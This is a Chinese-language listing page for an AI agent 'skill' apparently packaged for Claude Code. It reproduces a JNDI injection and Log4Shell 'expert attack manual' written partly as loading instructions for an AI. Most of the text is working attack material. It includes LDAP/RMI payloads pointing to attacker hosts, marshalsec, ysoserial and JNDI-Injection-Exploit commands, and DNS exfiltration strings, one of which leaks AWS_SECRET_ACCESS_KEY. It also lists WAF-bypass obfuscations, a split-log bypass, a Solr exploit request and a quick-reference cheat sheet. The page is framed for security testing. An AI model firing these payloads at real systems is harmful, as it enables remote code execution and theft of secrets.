mcpField
J
jndi-injection

jndi-injection

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 jndi-injection

面向安全测试者的 Java JNDI 注入攻击指南,讲解 RMI、LDAP、Log4Shell、JDK 版本限制及相关工具,帮助区分 JNDI 注入与一般反序列化问题。

主要功能

  1. 01RMI 与 LDAP 查找攻击面
  2. 02JDK 版本限制与绕过路径
  3. 03Log4Shell 检测与注入点
  4. 04marshalsec 等工具用法

适用场景

  1. 01排查应用中的 JNDI 查找输入
  2. 02评估 Log4j2 日志注入风险
  3. 03根据 JDK 版本分析攻击路径
  4. 04使用 DNS 探测确认 JNDI 求值

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill jndi-injection

安装后在 Claude Code 中输入/jndi-injection确认已加载。

详细介绍

技能:JNDI 注入 — 专家攻击手册

AI 加载指令:专家级 JNDI 注入技术。涵盖查找机制滥用、RMI/LDAP 类加载、JDK 版本限制、Log4Shell(CVE-2021-44228)、marshalsec 工具,以及利用反序列化 gadget 绕过 8u191 之后的限制。基础模型常会将 JNDI 注入与一般反序列化混淆 — 本文件阐明了二者不同的攻击面。

0. 相关路由


1. 核心机制

JNDI(Java 命名和目录接口)提供了一个统一 API,用于从命名/目录服务(RMI、LDAP、DNS、CORBA)查找对象。

漏洞:当 InitialContext.lookup(USER_INPUT) 接收到攻击者控制的 URL 时,JVM 会连接到攻击者的服务端并加载/执行任意代码。

// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. 攻击向量

RMI(远程方法调用)
rmi://attacker.com:1099/Exploit

攻击者运行一个 RMI 服务端,返回指向远程类的 Reference 对象:

// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit

攻击者运行一个 LDAP 服务端,返回包含 javaCodeBase、javaFactory 或序列化对象属性的条目。

由于 LDAP 限制的加入时间晚于 RMI(RMI 为 JDK 8u121,LDAP 为 JDK 8u191),因此 LDAP 优于 RMI。

DNS(仅用于检测)
dns://attacker-dns-server/lookup-name

可用于在不实现 RCE 的情况下确认 JNDI 注入 — 触发对攻击者权威 NS 的 DNS 查询。


3. JDK 版本限制与绕过

JDK 版本RMI 远程类LDAP 远程类绕过方式
< 8u121是是直接类加载
8u121 – 8u190否(trustURLCodebase=false)是使用 LDAP 向量
>= 8u191否否通过 LDAP 返回序列化的 gadget 对象
>= 8u191(替代方案)否否BeanFactory + EL 注入
绕过 8u191 之后的限制:LDAP → 序列化 Gadget

攻击者的 LDAP 服务端不返回远程类 URL,而是在 javaSerializedData 属性中返回序列化的 Java 对象。JVM 会在本地将其反序列化 — 如果类路径中存在 gadget 链(例如 CommonsCollections),即可实现 RCE。

# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
绕过 8u191 之后的限制:BeanFactory + EL

当 Tomcat 的 BeanFactory 位于类路径中时,LDAP 响应可以将其指定为工厂,并包含 EL 表达式:

javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

4. 工具

marshalsec — JNDI Reference 服务端
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit(全能工具)
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads

5. LOG4J2 — CVE-2021-44228(LOG4SHELL)

机制

Log4j2 支持 Lookups — 例如 ${...} 这样的表达式,会在日志消息中求值。jndi lookup 会触发 InitialContext.lookup():

${jndi:ldap://attacker.com/x}

任何包含此模式的日志字符串都会触发漏洞 — User-Agent、表单字段、HTTP 标头、URL 路径、错误消息。

检测载荷
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF 绕过变体

Log4j2 的 lookup 解析器非常灵活:

${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
拆分日志绕过(高级)

当 WAF 检测单个请求中的成对 ${jndi:...} 时,可将其拆分到两条日志条目中:

# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}

如果应用程序在重新处理前会拼接日志条目(例如通过聚合流水线),合并后的 ${jndi:ldap://attacker.com/exploit} 就会触发漏洞。

真实案例:Solr Log4Shell
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
要测试的注入点
User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie values       URL path segments     POST body fields
Search queries      File upload names     Form field names
GraphQL variables   SOAP/XML elements     JSON values
受影响版本
  • Log4j2 2.0-beta9 至 2.14.1
  • 在 2.15.0 中修复(不完全),在 2.17.0 中完全修复
  • Log4j 1.x 不受影响(使用不同的 lookup 机制)

6. OTHER JNDI SINKS (BEYOND LOG4J)

Product / FrameworkSink
Spring FrameworkJndiTemplate.lookup()
Apache SolrConfig API, VelocityResponseWriter
Apache DruidVarious config endpoints
VMware vCenterMultiple endpoints
H2 Database ConsoleJNDI connection string
Fastjson@type + JdbcRowSetImpl.setDataSourceName()

7. TESTING METHODOLOGY

Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│   └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── Start marshalsec LDAP server with remote class
│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│   ├── LDAP → serialized gadget (need gadget chain on classpath)
│   ├── BeanFactory + EL (need Tomcat on classpath)
│   └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
    └── Try obfuscation: ${${lower:j}ndi:...}

8. QUICK REFERENCE

# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}

# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}

# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

评论

支持 Markdown